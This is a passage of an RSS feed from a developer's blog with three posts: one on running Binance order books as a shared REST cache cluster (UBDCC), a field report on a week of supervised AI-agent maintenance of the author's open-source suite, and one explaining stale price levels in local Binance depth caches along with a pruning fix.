<li><p>access through a REST API</p>
</li>
</ul>
<p>So instead of this:</p>
<ul>
<li><p>bot A keeps BTCUSDT in memory</p>
</li>
<li><p>bot B keeps BTCUSDT in memory</p>
</li>
<li><p>dashboard keeps BTCUSDT in memory</p>
</li>
</ul>
<p>…you get this:</p>
<ul>
<li><p>UBDCC keeps BTCUSDT in memory</p>
</li>
<li><p>bot A queries it</p>
</li>
<li><p>bot B queries it</p>
</li>
<li><p>dashboard queries it</p>
</li>
</ul>
<p>One source of truth. Multiple consumers.</p>
<h2>The cluster model</h2>
<p>UBDCC consists of three roles:</p>
<ul>
<li><p><strong>mgmt</strong> — coordinates cluster state and assigns work</p>
</li>
<li><p><strong>restapi</strong> — the public HTTP interface clients talk to</p>
</li>
<li><p><strong>dcn</strong> (<em>DepthCache Node</em>) — worker processes that run the actual depth caches via <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UBLDC</a></p>
</li>
</ul>
<p>Each DCN is one Python process, which maps nicely to one CPU core. On a single 8-core machine, you can run one management instance, one REST API, and multiple DCNs handling hundreds of depth caches.</p>
<p>On Kubernetes, the same pattern scales horizontally.</p>
<p>The important point is not the exact layout.</p>
<p>The important point is that your strategies no longer own the order books.</p>
<h2>What this solves in practice</h2>
<h3>Shared data across multiple bots</h3>
<p>Two or ten strategies can consume the same books without duplicating Binance connections or cache state.</p>
<p>You pay one network hop to the REST API and remove a lot of duplicated infrastructure.</p>
<h3>Built-in redundancy and failover</h3>
<p>A DepthCache does not have to exist only once.</p>
<p>With <code>desired_quantity=2</code>, UBDCC keeps two replicas of the same market on different DCN nodes. If one node dies, the REST API can route the request to the surviving replica. That gives you real high availability for market data instead of hoping that one local in-process cache stays alive.</p>
<p>This is one of the biggest differences compared to the usual “every bot keeps its own order book” setup. In the usual model, redundancy is accidental and inconsistent. In UBDCC, redundancy is explicit and controlled.</p>
<h3>Language-agnostic access</h3>
<p>A frontend or support tool does not need to understand Binance stream semantics, sequence handling, reconnect logic, or Python internals.</p>
<p>It makes an HTTP request and gets JSON back.</p>
<p>That is a huge simplification.</p>
<h3>Better scaling under rate limits</h3>
<p>UBDCC can distribute workload across multiple machines and therefore across multiple public IPs.</p>
<p>That spreads snapshot initialization and reconnect load. Since version 0.4.0, it can also assign optional Binance API credentials across nodes to benefit from higher authenticated rate limits where applicable.</p>
<p>No credentials are required for public endpoints. The authenticated path is optional.</p>
<h2>What it looks like to use</h2>
<p>Install:</p>
<pre><code class="language-bash">pip install ubdcc
</code></pre>
<p>Start a local cluster with four DepthCache nodes:</p>
<pre><code class="language-bash">ubdcc start --dcn 4
</code></pre>
<p>Create some shared depth caches:</p>
<pre><code class="language-bash">curl -X POST 'http://127.0.0.1:42081/create_depthcaches' \
  -H 'Content-Type: application/json' \
  -d '{"exchange": "binance.com", "markets": ["BTCUSDT", "ETHUSDT"], "desired_quantity": 2}'
</code></pre>
<p>Query the top 5 asks:</p>
<pre><code class="language-bash">curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDT&amp;limit_count=5'
</code></pre>
<p>That is the whole idea: create once, consume anywhere.</p>
<p>For a full practical walkthrough with the dashboard, replicas, failover test, REST calls, and generated client snippets, see: <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart</a></p>
<h2>Python users are not locked out</h2>
<p>If you already use <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a> for local order books, the cluster interface is built in.</p>
<p>You can point <code>BinanceLocalDepthCacheManager</code> at UBDCC and keep using familiar sync or async methods:</p>
<pre><code class="language-python">from unicorn_binance_local_depth_cache import BinanceLocalDepthCacheManager, DepthCacheClusterNotReachableError
import asyncio

async def main():
    await ubldc.cluster.create_depthcaches_async(
        exchange="binance.com",
        markets=["BTCUSDT", "ETHUSDT"],
        desired_quantity=2,
    )
    while not ubldc.is_stop_request():
        print(await ubldc.cluster.get_asks_async(
            exchange="binance.com",
            market="BTCUSDT",
            limit_count=5
        ))

try:
    with BinanceLocalDepthCacheManager(
        exchange="binance.com",
        ubdcc_address="127.0.0.1",
        ubdcc_port=42081
    ) as ubldc:
        asyncio.run(main())
except DepthCacheClusterNotReachableError as exc:
    print(f"ERROR: {exc}")
</code></pre>
<p>So UBDCC is not an alternative to Python-native workflows.</p>
<p>It is the shared infrastructure layer underneath them.</p>
<h2>Why I trust it</h2>
<p>There are four parts that matter to me.</p>
<h3>It does not silently serve stale books</h3>
<p>UBDCC is built on <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a>, which validates Binance sequence numbers, re-syncs on gaps, and handles <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">orphaned levels</a> correctly instead of leaving ghost entries in the book.</p>
<p>A shared DepthCache is only useful if consumers also know its state. UBDCC does not just hold the cache — it knows whether that cache is actually in sync, re-synchronizing, or temporarily not safe to use. That is exactly the information a serious strategy needs before trusting market data.</p>
<p>If a book is re-syncing, that state is explicit.</p>
<p>That matters more than most people think.</p>
<p>I wrote a separate deep dive on the orphaned-level problem here: <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a></p>
<p>That post explains why a Binance-compatible local order book can look correct while silently accumulating stale price levels over time.</p>
<h3>Failover is transparent</h3>
<p>Depth caches can run redundantly across nodes. In practice that means you can keep the same cache twice and survive the loss of one DCN without losing the market view for that symbol.</p>
<p>If one node fails, requests are routed to another replica. But the failover is not hidden. Responses can report that a failover happened and which pod failed before the request succeeded.</p>
<p>That is how infrastructure should behave: resilient, but observable.</p>
<h3>The cluster manages its own state</h3>
<p>Cluster state is replicated internally across nodes.</p>
<p>If the management process dies, it can recover from the most recent surviving state. No external Redis or etcd dependency is required just to keep the cluster alive.</p>
<h3>It is fast enough to be infrastructure</h3>
<p>The stack is async end-to-end, and the core packages are Cython-compiled. In practice, this means low latency and enough throughput to make “shared order book as a service” actually usable instead of theoretically neat.</p>
<h2>What UBDCC is not</h2>
<p>It is <strong>not</strong>:</p>
<ul>
<li><p>a strategy engine</p>
</li>
<li><p>a backtesting platform</p>
</li>
<li><p>an execution engine</p>
</li>
<li><p>a “make money with crypto” framework</p>
</li>
</ul>
<p>It serves live order book data.</p>
<p>That is its job.</p>
<h2>Who should look at it</h2>
<h3>A solo developer running multiple bots</h3>
<p>You want one shared market-data layer instead of duplicate depth caches all over the machine.</p>
<h3>A team with several services consuming the same books</h3>
<p>You want bots, dashboards, alerts, and internal tools reading from one consistent source.</p>
<h3>A larger setup running into rate-limit and scaling pain</h3>
<p>You want to spread load across nodes, IPs, and optional authenticated request budgets.</p>
<p>If none of this sounds familiar, you probably do not need UBDCC yet.</p>
<p>But when the question becomes:</p>
<blockquote>
<p>“Can my second bot read the same order book without rebuilding everything?”</p>
</blockquote>
<p>Then you are already in UBDCC territory.</p>
<h2>Why I think this matters</h2>
<p>There are many examples online showing how to build <em>a</em> Binance bot.</p>
<p>There is far less material about what happens when one bot becomes several consumers, several services, several machines, and real infrastructure concerns.</p>
<p>That gap is exactly why I built this.</p>
<p>Not because the architecture is magical.</p>
<p>Because at some point it becomes the obvious architecture — and building it yourself is annoying, time-consuming, and easy to get wrong.</p>
<h2>Try it</h2>
<p>If your order books are trapped inside individual bot processes, UBDCC is the escape hatch.</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">GitHub repository</a></p>
</li>
<li><p><a href="https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster">Documentation and API reference</a></p>
</li>
<li><p><a href="https://t.me/unicorndevs">Telegram community</a></p>
</li>
</ul>
<p>UBDCC is MIT-licensed and part of the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite"><strong>UNICORN Binance Suite</strong></a>.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[I Let an AI Agent Maintain My Open Source Suite for a Week — Here's What Actually Happened]]></title><description><![CDATA[I maintain the UNICORN Binance Suite: 7 Python repositories, 2.8M+ PyPI downloads, 388+ dependent projects, and production usage in algorithmic trading systems running 24/7 against real money.
WebSock]]></description><link>https://blog.technopathy.club/i-let-an-ai-agent-maintain-my-open-source-suite-for-a-week-here-s-what-actually-happened</link><guid isPermaLink="true">https://blog.technopathy.club/i-let-an-ai-agent-maintain-my-open-source-suite-for-a-week-here-s-what-actually-happened</guid><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Python]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Software Engineering]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Fri, 17 Apr 2026 13:50:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f4a8d926-3d2e-438d-b973-868cc9001d85.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I maintain the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">UNICORN Binance Suite</a>: 7 Python repositories, 2.8M+ PyPI downloads, 388+ dependent projects, and production usage in algorithmic trading systems running 24/7 against real money.</p>
<p>WebSocket streams, REST APIs, local order books, trailing stops, Kubernetes depth cache clusters — the kind of infrastructure that normally has a team behind it.</p>
<p>It doesn’t. It has me.</p>
<p>Last week I gave <a href="https://claude.com/claude-code">Claude Code</a> commit access via a dedicated GitHub account<br />(<a href="https://github.com/oliver-zehentleitner-aigent">@oliver-zehentleitner-aigent</a>) and pointed it at the backlog.</p>
<p><strong>One week later:</strong></p>
<p>Work that would have taken me weeks to months was done.</p>
<p>Notably:</p>
<ul>
<li><p>500+ files changed</p>
</li>
<li><p>100+ PRs created</p>
</li>
<li><p>7 repositories fully synchronized and updated</p>
</li>
<li><p>entire UBS stack released and brought up to current state</p>
</li>
<li><p>all known bug reports closed</p>
</li>
<li><p>~€100 cost</p>
</li>
</ul>
<p>This is not hype. This is a field report.</p>
<hr />
<h2>The Backlog</h2>
<p>Years of solo-maintainer entropy:</p>
<ul>
<li><p>LUCIT branding everywhere (7 repos, hundreds of files)</p>
</li>
<li><p>Custom LSOSL license blocking contributors</p>
</li>
<li><p>Python 3.7 baseline (in 2026)</p>
</li>
<li><p>A core repo with no release for 4 years</p>
</li>
<li><p>CI pipelines that barely validated anything</p>
</li>
<li><p>Dead services, dead links, dead integrations</p>
</li>
</ul>
<p>Individually trivial. Collectively unmaintainable.</p>
<p>That’s the key failure mode: not complexity, but accumulation.</p>
<hr />
<h2>The Setup (Guardrails First)</h2>
<p>Before letting an agent touch production code, I built constraints.</p>
<h3>Dedicated Git Identity</h3>
<p>Everything runs through a separate account:<br /><a href="https://github.com/oliver-zehentleitner-aigent">@oliver-zehentleitner-aigent</a></p>
<p>Full transparency:</p>
<ul>
<li><p>every commit is traceable</p>
</li>
<li><p>no hidden automation</p>
</li>
<li><p>no impersonation</p>
</li>
</ul>
<hr />
<h3>CLAUDE.md — Project Constitution</h3>
<p>Each repo defines strict rules:</p>
<ul>
<li><p>communication style (German chat, English code)</p>
</li>
<li><p>forbidden actions (e.g. versioning scripts, direct commits to merged PRs)</p>
</li>
<li><p>architectural context</p>
</li>
</ul>
<p>It helps. It does not guarantee compliance. Drift still happens.</p>
<hr />
<h3>AGENTS.md + TASKS.md</h3>
<ul>
<li><p><code>AGENTS.md</code>: architecture + conventions</p>
</li>
<li><p><code>TASKS.md</code>: living backlog per repo</p>
</li>
<li><p><code>UBS-TASKS.md</code>: cross-repo coordination</p>
</li>
</ul>
<hr />
<h3>Fork + PR Workflow</h3>
<p>No direct pushes.</p>
<p>Everything: fork → branch → PR → review → merge</p>
<p>This is non-negotiable for production-grade OSS.</p>
<hr />
<h2>What the Agent Actually Did</h2>
<p>We executed bottom-up through the dependency stack:</p>
<p>UnicornFy → UBRA → UBWA → UBLDC → UBDCC → UBTSL → UBS</p>
<hr />
<h3>Day 1–2: Foundation Repos</h3>
<ul>
<li><p>Replace all LUCIT branding</p>
</li>
<li><p>Switch LSOSL → MIT</p>
</li>
<li><p>Raise Python baseline to 3.9–3.14</p>
</li>
<li><p>Expand CI across versions</p>
</li>
<li><p>Fix documentation and metadata consistency</p>
</li>
</ul>
<hr />
<h3>Day 3: UBTSL (the worst one)</h3>
<p>No release in 4 years. Broken startup due to licensing dependency.</p>
<p>The agent:</p>
<ul>
<li><p>removed entire licensing system</p>
</li>
<li><p>fixed CI (geo-blocked endpoints, artifact merging bug)</p>
</li>
<li><p>repaired PyPI wheel publishing</p>
</li>
<li><p>resolved 3-year-old PR conflicts</p>
</li>
</ul>
<hr />
<h3>Day 4–5: Suite-wide Cleanup</h3>
<ul>
<li><p>removed dead Gitter integrations</p>
</li>
<li><p>fixed issue templates across repos</p>
</li>
<li><p>normalized exchange lists</p>
</li>
<li><p>removed deprecated endpoints</p>
</li>
</ul>
<hr />
<h3>Day 5: README Rewrite</h3>
<ul>
<li><p>install-first onboarding</p>
</li>
<li><p>metrics-driven introduction</p>
</li>
<li><p>architecture diagram</p>
</li>
<li><p>comparison table</p>
</li>
<li><p>copy-paste examples</p>
</li>
</ul>
<hr />
<h3>Day 6: AI-Native Documentation</h3>
<p>Introduced <code>llms.txt</code> across all repos.</p>
<p>Meta-layer shift: AI writing docs for other AIs.</p>
<hr />
<h3>Day 7: Releases, Stabilization &amp; Full Stack Sync</h3>
<p>This is where things became more interesting than planned.</p>
<p>During execution the agent identified <strong>two independent race conditions</strong> in core streaming and order-handling paths. These were subtle timing issues that had not surfaced in production yet, but were structurally real and reproducible under load.</p>
<p>After fixing them, we did not just ship isolated patches — we executed a full stack alignment:</p>
<ul>
<li><p>UBTSL 1.3.0 released (first release in 4 years)</p>
</li>
<li><p>UBS 2.1.0 released</p>
</li>
<li><p>all dependent repositories updated and republished</p>
</li>
<li><p>full UBS ecosystem brought to a consistent, current version state</p>
</li>
<li><p>all known bug reports across the stack closed</p>
</li>
</ul>
<p>Net effect: the entire suite is now not just “maintained”, but structurally consistent again.</p>
<hr />
<h2>Cost Model</h2>
<ul>
<li><p>Claude Pro Max: ~€100/month</p>
</li>
<li><p>Time: ~1 week active steering</p>
</li>
</ul>
<p>The real cost is not money. It is decision bandwidth.</p>
<hr />
<h2>The Workflow That Worked</h2>
<ol>
<li><p>Analyze state together</p>
</li>
<li><p>Agree on direction</p>
</li>
<li><p>Define scope</p>
</li>
<li><p>Execute</p>
</li>
<li><p>Review and correct</p>
</li>
</ol>
<hr />
<h2>What Worked</h2>
<ul>
<li><p>Cross-repo pattern replication</p>
</li>
<li><p>CI + packaging bug discovery</p>
</li>
<li><p>Merge conflict resolution</p>
</li>
<li><p>Parallel PR execution</p>
</li>
<li><p>Documentation iteration speed</p>
</li>
<li><p>Structural bug detection in production-adjacent code paths</p>
</li>
</ul>
<hr />
<h2>What Didn’t</h2>
<ul>
<li><p>Context limits</p>
</li>
<li><p>Premature execution</p>
</li>
<li><p>Tone issues in marketing copy</p>
</li>
<li><p>Occasional hallucinated assumptions</p>
</li>
<li><p>Git sync conflicts</p>
</li>
</ul>
<hr />
<h2>Operating Model</h2>
<p>The agent behaves like a very fast staff engineer:</p>
<ul>
<li><p>never bored</p>
</li>
<li><p>never inconsistent</p>
</li>
<li><p>never skipping files</p>
</li>
<li><p>still needs direction</p>
</li>
</ul>
<hr />
<h2>The Real Shift</h2>
<p>Most OSS maintenance is not engineering.</p>
<p>It is:</p>
<ul>
<li><p>version updates</p>
</li>
<li><p>CI fixes</p>
</li>
<li><p>link rot</p>
</li>
<li><p>dependency drift</p>
</li>
<li><p>template maintenance</p>
</li>
</ul>
<p>AI agents are extremely good at this.</p>
<hr />
<h2>Outcome</h2>
<p>The suite is now:</p>
<ul>
<li><p>consistently MIT licensed</p>
</li>
<li><p>Python 3.9–3.14</p>
</li>
<li><p>CI-clean across repos</p>
</li>
<li><p>structurally unified</p>
</li>
<li><p>fully up to date across the entire stack</p>
</li>
<li><p>all known bug reports resolved</p>
</li>
<li><p>properly documented</p>
</li>
<li><p>partially AI-native (<code>llms.txt</code>)</p>
</li>
<li><p>significantly more stable under real-world load</p>
</li>
</ul>
<hr />
<h2>What’s Next</h2>
<ul>
<li><p>UBRA v3 architecture rewrite</p>
</li>
<li><p>deeper feature-level agent collaboration</p>
</li>
<li><p>defining the boundary of autonomy</p>
</li>
</ul>
<hr />
<p><em>This article was drafted with assistance from an AI agent, iterated through review loops, and finalized by me.</em></p>
<hr />
<p><em>UNICORN Binance Suite — production-grade Python infrastructure for Binance trading systems.</em></p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Your Binance Order Book Is Wrong — Here's Why]]></title><description><![CDATA[If you maintain a local Binance order book, there is a good chance it contains price levels that no longer exist on the exchange. Not because your code has a bug — but because Binance's documentation ]]></description><link>https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why</link><guid isPermaLink="true">https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why</guid><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[Python]]></category><category><![CDATA[Software Engineering]]></category><category><![CDATA[data-engineering]]></category><category><![CDATA[algorithms]]></category><category><![CDATA[binance]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Thu, 16 Apr 2026 09:59:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/07e9bd38-b649-464c-9856-97f8af518874.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you maintain a local Binance order book, there is a good chance it contains price levels that no longer exist on the exchange. Not because your code has a bug — but because Binance's documentation tells you to build it in a way that guarantees silent data corruption over time.</p>
<p>I am not talking about reconnect logic, sequence gaps, or the well-known initial-snapshot race condition. Those are documented and most libraries handle them. I am talking about a class of stale entries that accumulate silently in your depth cache because Binance never tells you they should be gone.</p>
<blockquote>
<p><strong>Update / follow-up:</strong> I later ran a 25-hour forensic benchmark to measure this failure mode with two DepthCache implementations running side by side on the same BTCUSDT WebSocket stream.</p>
<p>The full benchmark, interactive 3D charts, raw audit data, and GitHub repository are here:</p>
<p><a href="https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours">Your Binance DepthCache is rotting — here's the proof in 25 hours</a></p>
</blockquote>
<p>This came up while I was maintaining <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UNICORN Binance Local Depth Cache (UBLDC)</a>. A user reported unbounded growth in their order book — and when I investigated, it turned out to be a gap in Binance's own synchronization spec, not a library bug. The fix was straightforward, but it is not in Binance's documentation, and I have not seen it handled in any other library.</p>
<hr />
<h2>How a depth cache is supposed to work</h2>
<p>This is Binance's official algorithm, documented in <a href="https://binance-docs.github.io/apidocs/spot/en/#how-to-manage-a-local-order-book-correctly">"How to manage a local order book correctly"</a>. Quick refresher for people who have not built one:</p>
<ol>
<li><p>You open a WebSocket stream for diff updates (<code>@depth</code>).</p>
</li>
<li><p>You request a REST snapshot of the current order book.</p>
</li>
<li><p>You discard any updates whose sequence number is older than the snapshot.</p>
</li>
<li><p>You apply the remaining updates to the snapshot in order.</p>
</li>
<li><p>From now on, every diff update arrives in real time and you mutate your local copy.</p>
</li>
</ol>
<p>A diff update is a list of price levels. For each level you receive a price and a quantity. If the quantity is <code>0</code>, the level is gone — you delete it from your book. Otherwise you set the quantity for that price level.</p>
<p>That is the whole protocol. Snapshot, apply diffs, handle the <code>0</code>-quantity delete event. Done.</p>
<p>Except it is not done.</p>
<hr />
<h2>The part Binance does not tell you</h2>
<p>Binance's depth snapshots cover the <strong>top 1000 price levels</strong> on each side. The diff stream sends you updates for any level that changes — but only for levels that are currently in the top 1000.</p>
<p>The moment a price level drops out of the top 1000 because more aggressive activity pushes it down, Binance stops sending updates for that level. Not just stops — <strong>never sends another update again</strong>, including no <code>0</code>-quantity delete event.</p>
<p>If you followed the documented protocol, that level stays in your local copy forever. Your bid book still claims there is meaningful resting size at a price that has not been part of the real order book for hours, days, weeks — however long your process has been running.</p>
<p>These are what I call <strong>orphaned entries</strong>. Ghost orders. Levels that exist only in your memory, with no representation on the actual exchange.</p>
<hr />
<h2>Why this is easy to miss</h2>
<p>A few reasons this stays invisible long enough to ship into production:</p>
<p><strong>It does not break anything obvious.</strong> Your top-of-book is fine because the top-of-book gets updated most aggressively. If you only ever read <code>asks[0]</code> and <code>bids[0]</code>, you will never notice. The corruption builds up at the edges of the book where you stop looking.</p>
<p><strong>The numbers look plausible.</strong> A stale ask at $63,247.50 with 0.4 BTC quantity is a perfectly reasonable-looking number. Nothing about it screams "I am a fossil from three hours ago." A volume aggregator summing quantities will return larger numbers than reality, but it will not return obviously wrong numbers.</p>
<p><strong>Spot-checking against the REST snapshot does not catch it.</strong> If you periodically pull a fresh snapshot and compare, you will see differences — but you will attribute them to the snapshot being a different moment in time. That is plausible. The actual cause — that levels have silently fallen off your stream — is not an obvious hypothesis.</p>
<p><strong>Documented behavior matches buggy behavior.</strong> Binance's documentation describes how to apply diff updates. It does not warn you that a level that disappears from the top 1000 will never be corrected. So if you followed the docs to the letter, your code looks correct against the spec. The spec is just incomplete.</p>
<hr />
<h2>How this was found</h2>
<p>A user <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45">reported</a> that their asks and bids lists were growing without any bound. Starting at around 1000 entries, the count kept climbing — slowly but monotonically. After 15 minutes, already noticeably above 1000. After hours, thousands of levels on each side with no churn at the bottom of the book.</p>
<p>At first glance it looked like a library bug. But when I dug into it, I realized the library was doing exactly what Binance's documentation says to do. The problem was upstream — in the spec itself.</p>
<p>I went back to the Binance documentation. There was no mention of bottom-of-book eviction. I tested it: created a cache, waited for active levels to roll off the top 1000, and watched whether any correction arrived for a known stale level. Nothing. The level was orphaned, and Binance had no mechanism to tell the client about it.</p>
<p>That was the moment it stopped being "there might be a bug in the apply-diff logic" and became "Binance's documented protocol is incomplete, and every implementation that follows it strictly is accumulating ghost entries."</p>
<hr />
<h2>The fix</h2>
<p>The fix is conceptually simple: <strong>prune everything beyond the top 1000 levels</strong>.</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UBLDC</a> does this in <code>_clear_orphaned_depthcache_items()</code>. After processing a depth update, the cache is sorted by price (descending for bids, ascending for asks) and anything past position 1000 is deleted.</p>
<pre><code class="language-python">def _clear_orphaned_depthcache_items(self, market, side, limit_count=1000):
    reverse = (side == "bids")
    sorted_items = [
        [price, float(quantity)]
        for price, quantity
        in list(self.depth_caches[market][side].items())
    ]
    orphaned_items = sorted(
        sorted_items, key=itemgetter(0), reverse=reverse
    )[limit_count:]
    for item in orphaned_items:
        del self.depth_caches[market][side][str(item[0])]
</code></pre>
<p>The reasoning:</p>
<ul>
<li><p>Anything Binance still cares about will be inside the top 1000 and will keep getting diff updates.</p>
</li>
<li><p>Anything outside the top 1000 is, by Binance's own definition, not part of the snapshot you would get if you re-pulled right now.</p>
</li>
<li><p>So evicting it is correct: it brings your local copy into the same consistency window Binance guarantees.</p>
</li>
</ul>
<p>The cost is one sort per update per side. For 1000 entries on a hot pair this is microseconds. UBLDC absorbs it inside the WebSocket event loop with no measurable impact on throughput.</p>
<hr />
<h2>Why this matters even if you "only need top of book"</h2>
<p><strong>Memory growth is real.</strong> A long-lived process accumulating thousands of dead price levels per market per side, across hundreds of markets, becomes a real memory cost. Not a leak in the technical sense, but unbounded growth that nothing in Binance's protocol will stop.</p>
<p><strong>Volume-based queries break.</strong> If you ever ask "what is the total bid volume below this price" or "what price level holds the next $1M of asks", stale entries are polluting your answer. Market depth charts will be subtly wrong in ways that compound the longer the process runs.</p>
<p><strong>Book-shape logic breaks.</strong> Anything that compares against book width, density, or the relationship between price levels is reading partly from a fossil record. Strategies that look at order book shape — common in market-making and liquidity-provision — will be making decisions based on data that is half real and half archaeological.</p>
<hr />
<h2>What to do about it</h2>
<p>You have three options, depending on what you are building:</p>
<p><strong>1. Prune yourself.</strong> Periodically take the lowest-priced bids and highest-priced asks beyond the depth you care about and remove them. Six lines of Python. Works with any library.</p>
<p><strong>2. Use UBLDC in your Python project.</strong> <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UNICORN Binance Local Depth Cache</a> handles this plus reconnect logic, sequence validation, multi-market management, and automatic resync on gap detection. MIT licensed, 220K+ PyPI downloads.</p>
<p><strong>3. Use UBDCC if you want it as a service.</strong> This is the option I would recommend if you are not married to a specific language or if you run multiple bots. <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">UNICORN DepthCache Cluster</a> runs UBLDC as a background service and exposes order book data via REST API — accessible from Python, Node.js, Go, Rust, or anything that speaks HTTP:</p>
<pre><code class="language-bash">pip install ubdcc
ubdcc start
</code></pre>
<p>That gives you a local REST API where any process can query consistent, pruned, auto-recovering order book data. No WebSocket management, no orphaned entries, no initialization wait on restart. Your bots connect to the service; the service handles the hard parts.</p>
<p>Either way, <strong>do not rely on the Binance diff stream alone</strong> to keep your book consistent past the active edge. The protocol does not guarantee what most documentation implies.</p>
<p>If you want the architectural reasoning behind running this as shared infrastructure instead of embedding it inside every bot, I wrote that up here: <a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a></p>
<p>And if you just want to try the cluster directly, start here: <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart</a></p>
<hr />
<h2>Why I wrote this</h2>
<p>Since fixing this, I have seen the same question come up in different forms — <em>"why does my depth cache use so much memory after a few hours?"</em>, <em>"why is my book deeper than the REST snapshot?"</em>, <em>"why are there bids at prices that haven't been seen in days?"</em> I would rather link to one explanation than retype it.</p>
<p>This is the kind of finding that does not have a CVSS score and will not get a Binance changelog entry. It is a gap between "what the docs say" and "what actually happens at the protocol level", and the only way it gets fixed in the wider ecosystem is by being written down with code.</p>
<hr />
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><em>UNICORN Binance Local Depth Cache</em></a> <em>— MIT, 220K+ downloads · The fix is in</em> <code>manager.py</code><em>, function</em> <code>_clear_orphaned_depthcache_items()</code><em>.</em></p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster"><em>UNICORN DepthCache Cluster</em></a> <em>— Consistent order book data as a REST service.</em> <code>pip install ubdcc &amp;&amp; ubdcc start</code><em>. Any language, any number of clients.</em></p>
<p>Suggested reading path:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Why Binance order books silently go wrong</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why the order book should not live inside your bot</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">How to run UBDCC locally in minutes</a></p>
</li>
</ul>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item></channel></rss>